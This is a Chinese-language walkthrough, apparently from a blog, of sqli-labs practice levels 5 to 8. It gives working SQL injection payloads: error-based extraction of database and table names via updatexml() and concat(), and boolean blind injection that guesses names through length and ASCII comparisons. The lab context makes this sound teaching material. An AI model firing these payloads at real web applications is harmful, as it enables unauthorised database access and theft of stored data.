less-5

判断注入类型




发现只有you are in ...和报错,尝试报错注入


闭合成功
?id=1' updatexml(1,2,3)--+
updatexml()函数有三个参数,我们可以修改2位置来达到查询的目的
在2 的位置使用concat()函数
concat(1,2),同样可以修改2位置查询
在2的位置使用子查询select(database)即可查询到库名,完整代码如下
?id=1' and updatexml(1,concat(1,(select database())),2)--+

查询其他内容可以把其他信息查询出来
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),2)--+

less-6


判断为"

闭合成功

使用联合查询发现没有回显点,因为上面出现报错,尝试使用报错注入

?id=1" and updatexml(1,concat(1,database()),3)--+
输入后出现数据库名,剩下的更上一道题一样
less-7

观察到页面只返回对与错,所以我们使用布尔盲注



?id=1')) and length(database())>8--+
可知数据库名字长度为8


根据ascii值推断,115对应的字母为s
以此类推修改substr()函数第二位数字,推断出其他字母


less-8
同样使用布尔盲注


可知数据库名字长度为8位


和上一题一样的操作
1245

被折叠的 条评论
为什么被折叠?



